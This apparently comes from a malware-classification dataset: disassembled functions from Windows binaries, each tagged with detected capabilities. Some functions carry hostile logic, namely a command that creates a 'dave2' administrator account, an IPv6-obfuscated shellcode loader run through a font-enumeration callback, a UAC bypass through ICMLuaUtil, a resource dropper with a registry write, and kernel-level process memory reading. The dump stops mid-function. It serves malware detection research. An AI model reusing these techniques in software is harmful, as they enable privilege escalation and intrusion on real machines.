joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1fb361370
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x18], 3
je 0x1fb3613cd
cmp dword [rbp + 0x18], 3
ja 0x1fb3613d4
cmp dword [rbp + 0x18], 2
je 0x1fb3613d0
cmp dword [rbp + 0x18], 2
ja 0x1fb3613d4
cmp dword [rbp + 0x18], 0
je 0x1fb3613d3
cmp dword [rbp + 0x18], 1
jne 0x1fb3613d4
lea rax, str.net_user_dave2_password123___add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
lea rax, str.net_localgroup_administrators_dave2__add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
jmp 0x1fb3613d4
nop
jmp 0x1fb3613d4
nop
jmp 0x1fb3613d4
nop
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x1fb361580
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1fb3615f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1fb367064]
mov rbx, rcx
test esi, esi
jle 0x1fb361720
mov rax, qword [0x1fb367068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1fb36163b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1fb3616c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1fb361620
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1fb361742
mov rax, qword [0x1fb367068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1fb367068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1fb361727
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1fb3616be
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1fb3616d0
add dword [0x1fb367064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1fb367068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1fb3616be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1fb361648
mov rax, qword [0x1fb367068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1fb361ac0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1fb3670a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1fb367080]
test rbx, rbx
je 0x1fb361b1c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1fb361b13
test rsi, rsi
je 0x1fb361b13
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1fb361af8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1fb361d30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1fb361d48
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1fb361d50
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1fb361d60
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1fb361dad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1fb361da4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1fb361daf
add rax, 0x28
cmp rax, r9
jne 0x1fb361d90
xor eax, eax
ret

Function at 0x1fb361db0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1fb361e40
mov rdx, qword [0x1fb364270]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1fb361e2e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1fb361e2e
cmp word [rax + 0x18], 0x20b
jne 0x1fb361e2e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1fb361e40
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1fb361e19
add rbx, 0x28
cmp rbx, rdi
je 0x1fb361e40
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1fb361e10
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1fb361e50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1fb364270]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1fb361e70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1fb361e78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1fb361e70
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1fb361ecd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1fb361ec4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1fb361e70
add rax, 0x28
cmp rax, r9
jne 0x1fb361eb0
xor eax, eax
ret
Function at 0x1fb361ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1fb364270]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1fb361eef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1fb361ef8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1fb361eef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1fb361f10
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1fb364270]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1fb361f30
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1fb361f38
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1fb361f30
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1fb361f80
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1fb361f77
test rcx, rcx
je 0x1fb361f30
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1fb361f68
xor eax, eax
ret

Function at 0x1fb361f90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1fb364270]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1fb361faf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1fb361fb8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1fb361fd0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1fb364270]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1fb361ff0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1fb361ff8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1fb361ff0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1fb361ff0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1fb362044
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1fb362050
add rdx, 0x28
cmp r9, rdx
jne 0x1fb362030
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1fb362060
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1fb364270]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1fb362082
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1fb362090
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1fb362082
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1fb362082
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1fb362082
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1fb3620e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1fb3620f8
add rdx, 0x28
cmp rdx, r10
jne 0x1fb3620d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1fb362107
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1fb362117
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1fb3620ee
test ecx, ecx
jg 0x1fb362100
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001194
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, 0x20
lea r9, [rax + 0x10]
lea rdx, [rax - 0x28]
mov dword [rax + 0x10], r8d
mov edi, ecx
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov edx, dword [rsp + 0x58]
mov ecx, 0x400
mov r8d, 0x73686974
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x1400011da
xor eax, eax
jmp 0x140001202
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
mov rdx, rbx
mov ecx, edi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
jns 0x1400011ff
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x1400011d6
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001398
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rsi, rdx
mov rbx, rcx
call qword [sym.imp.ntoskrnl.exe_PsGetProcessPeb]
mov rdi, rax
test rax, rax
je 0x140001407
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rdi, qword [rdi + 0x18]
test rdi, rdi
je 0x1400013f7
add rdi, 0x10
mov rbx, qword [rdi]
jmp 0x1400013f2
lea rcx, [rbx + 0x58]
mov r8b, 1
mov rdx, rsi
call qword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
test eax, eax
je 0x140001417
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1400013db
xor ebx, ebx
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rbx + 0x30]
jmp 0x1400013f9

Function at 0x140001484
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rbx, r9
mov r14, r8
mov rdi, rdx
test ecx, ecx
je 0x140001554
test rdx, rdx
je 0x140001554
movsxd rcx, ecx
lea rdx, [rax - 0x18]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jne 0x140001559
mov rcx, qword [rsp + 0x30]
call fcn.140001170
mov rcx, qword [rsp + 0x30]
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor esi, esi
jmp 0x14000154b
lea rdx, [rsi + rdi]
mov rcx, rbp
call fcn.1400016d0
test rax, rax
je 0x140001554
and qword [rsp + 0x38], 0
mov rcx, rax
and ecx, 0xfff
mov edx, 0x1000
sub rdx, rcx
mov r8, rbx
cmp rdx, rbx
lea rcx, [rsi + r14]
mov r9d, 1
cmovb r8, rdx
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rdx, rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
mov rcx, qword [rsp + 0x38]
sub rbx, rcx
add rsi, rcx
test eax, eax
jne 0x140001550
test rcx, rcx
je 0x140001550
test rbx, rbx
jne 0x1400014e8
xor eax, eax
jmp 0x140001559
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400015e8
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, r9
mov r15, r8
mov rsi, rdx
test ecx, ecx
je 0x1400016b0
test rdx, rdx
je 0x1400016b0
movsxd rcx, ecx
lea rdx, [rax - 0x28]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jne 0x1400016b5
mov rcx, qword [rsp + 0x20]
call fcn.140001170
mov rcx, qword [rsp + 0x20]
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor r14d, r14d
jmp 0x1400016a7
lea rdx, [r14 + rsi]
mov rcx, rbp
call fcn.1400016d0
test rax, rax
je 0x1400016b0
and qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
mov rcx, rax
mov edx, 0x1000
and ecx, 0xfff
mov r8, rdi
sub rdx, rcx
mov rcx, rax
cmp rdx, rdi
cmovb r8, rdx
lea rdx, [r14 + r15]
call fcn.140001574
mov ebx, eax
mov rax, qword [rsp + 0x28]
sub rdi, rax
add r14, rax
test ebx, ebx
jne 0x1400016ac
test rax, rax
je 0x1400016ac
test rdi, rdi
jne 0x14000164e
mov eax, ebx
jmp 0x1400016b5
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, str.NTDLL
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x1400010de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001217
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x110
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
jne 0x140001116
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001217
lea r15, str.FC48:83E4:F0E8:C000:0000:4151:4150:5251
mov rdi, rbp
mov rsi, r15
xor ebx, ebx
nop word [rax + rax]
mov rcx, qword [rsi]
lea rdx, [rsp + 0x20]
mov r8, rdi
call r14
test eax, eax
jne 0x140001201
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x11
jb 0x140001130
mov r8d, 0x110
lea rcx, str.___Deobfuscated_Bytes_at_0x_p_of_Size__ld_:::__n
mov rdx, rbp
call fcn.140001010
xor ebx, ebx
nop dword [rax]
test bl, 0xf
jne 0x140001181
lea rcx, [0x14000364c]
call fcn.140001010
movzx edx, byte [rbx + rbp]
lea rcx, str._0.2X
call fcn.140001010
inc rbx
cmp rbx, 0x110
jb 0x140001170
lea r9, [rsp + 0x28]
mov dword [rsp + 0x28], 0
mov edx, 8
mov r8d, 0x40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbp
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str._n_n___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x14000121c
movsxd rdx, ebx
lea rcx, str.____RtlIpv6StringToAddressA_Failed_At___s__With_Error_0x_0.8X
mov r8d, eax
mov rdx, qword [r15 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001260
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret

Function at 0x140001b20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b6c
xor al, al
add rsp, 0x28
ret
Function at 0x180001200
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
or rbx, 0xffffffffffffffff
mov rsi, rcx
mov rcx, rbx
mov rdi, rdx
inc rcx
cmp byte [rdx + rcx], 0
jne 0x180001221
add rcx, 1
cmovb rcx, rbx
call fcn.180006f60
mov rbp, rax
nop word [rax + rax]
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x180001240
lea rdx, [rbx + 1]
mov r8, rdi
mov rcx, rax
call fcn.180006f68
cmp byte [rbp], 0
mov rax, rbp
je 0x18000126f
add byte [rax], 0xfb
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x180001263
test rsi, rsi
je 0x180001334
cmp byte [rsi], 0x4d
jne 0x180001334
cmp byte [rsi + 1], 0x5a
jne 0x180001334
movzx eax, word [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x180001334
cmp dword [rax + rsi + 0x84], 1
jb 0x180001334
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x180001334
mov r11d, dword [rsi + rcx + 0x18]
lea rbx, [rsi + rcx]
xor r9d, r9d
test r11d, r11d
je 0x180001313
mov edi, dword [rbx + 0x20]
mov r10d, r9d
mov eax, r10d
add rax, rdi
mov ecx, dword [rax + rsi]
test ecx, ecx
je 0x180001307
lea r8, [rsi + rcx]
mov rax, rbp
sub r8, rbp
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001303
inc rax
test ecx, ecx
jne 0x1800012f0
test edx, edx
je 0x180001313
inc r9d
add r10d, 4
cmp r9d, r11d
jb 0x1800012d0
cmp r9d, r11d
jae 0x180001334
mov eax, dword [rbx + 0x24]
lea ecx, [r9 + r9]
add rax, rsi
movzx edx, word [rcx + rax]
mov ecx, dword [rbx + 0x1c]
add rcx, rsi
mov eax, dword [rcx + rdx*4]
add rax, rsi
jmp 0x180001336
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180001520
Capabilities:
Bypass uac via icmluautil

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x290
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov r14, rdx
mov rbp, rcx
mov edx, 2
xor ecx, ecx
mov ebx, 0xc0000022
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rdi, [rsp + 0x38]
mov ecx, 0x30
mov esi, eax
lea r8, [0x180020350]
xor eax, eax
xor r15d, r15d
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x30], r15
mov edx, 0x104
mov dword [rsp + 0x38], 0x30
mov dword [rsp + 0x4c], 4
call fcn.180006fc8
lea r8, [0x180020390]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call fcn.180007030
lea r9, [rsp + 0x30]
lea r8, [0x1800203e8]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ole32.dll_CoGetObject]
mov rdi, qword [rsp + 0x30]
test eax, eax
jne 0x1800015fd
test rdi, rdi
je 0x18000160b
mov rax, qword [rdi]
xor r9d, r9d
mov dword [rsp + 0x28], r15d
mov r8, r14
mov rdx, rbp
mov dword [rsp + 0x20], r15d
mov rcx, rdi
call qword [rax + 0x48]
test eax, eax
cmovns ebx, r15d
test rdi, rdi
je 0x18000160b
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx + 0x10]
test esi, esi
jne 0x180001615
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1800029f0
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x290
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001700
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov esi, r8d
mov qword [rsp + 0x30], 0
mov rdi, rdx
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], 4
mov edx, 0x40000000
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180001754
xor eax, eax
jmp 0x180001797
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, esi
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800029f0
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x180001c40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, qword [0x180025d80]
lea r8, [0x1800203f8]
mov rcx, rdi
mov edx, 0x66
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x180001da5
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x180001da5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x180001da5
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x180001da5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, edi
call fcn.180006f60
mov r8d, edi
mov rdx, rbp
mov rcx, rax
mov rsi, rax
call fcn.180003dd0
test rsi, rsi
je 0x180001da5
mov r8d, edi
lea rcx, str.C:ProgramDataMicrosoftWindowsMSWin.db
mov rdx, rsi
call fcn.180001700
mov rcx, rsi
call fcn.180006f58
mov rdi, qword [0x180025d80]
lea r8, [0x180020458]
mov rcx, rdi
mov edx, 0x65
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x180001da5
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x180001da5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x180001da5
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
je 0x180001da5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, esi
call fcn.180006f60
mov r8d, esi
mov rdx, rbp
mov rcx, rax
mov rdi, rax
call fcn.180003dd0
test rdi, rdi
je 0x180001da5
mov r8d, esi
lea rcx, [0x180020460]
mov rdx, rdi
call fcn.180001700
mov rcx, rdi
call fcn.180006f58
mov eax, 1
jmp 0x180001da7
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180001dc0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x288
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rax, [0x1800204b8]
mov qword [rsp + 0x30], rax
lea r9, [0x180020500]
lea rax, [0x1800204c8]
mov qword [rsp + 0x28], rax
lea r8, [0x180020518]
lea rax, [0x1800204e8]
lea rdx, [0x180020530]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.1800023b0
lea rax, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001e5f
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1800029f0
add rsp, 0x288
ret
mov rcx, qword [rsp + 0x40]
lea rax, [0x180020460]
mov dword [rsp + 0x28], 0x54
lea rdx, [0x180020550]
mov r9d, 1
mov qword [rsp + 0x20], rax
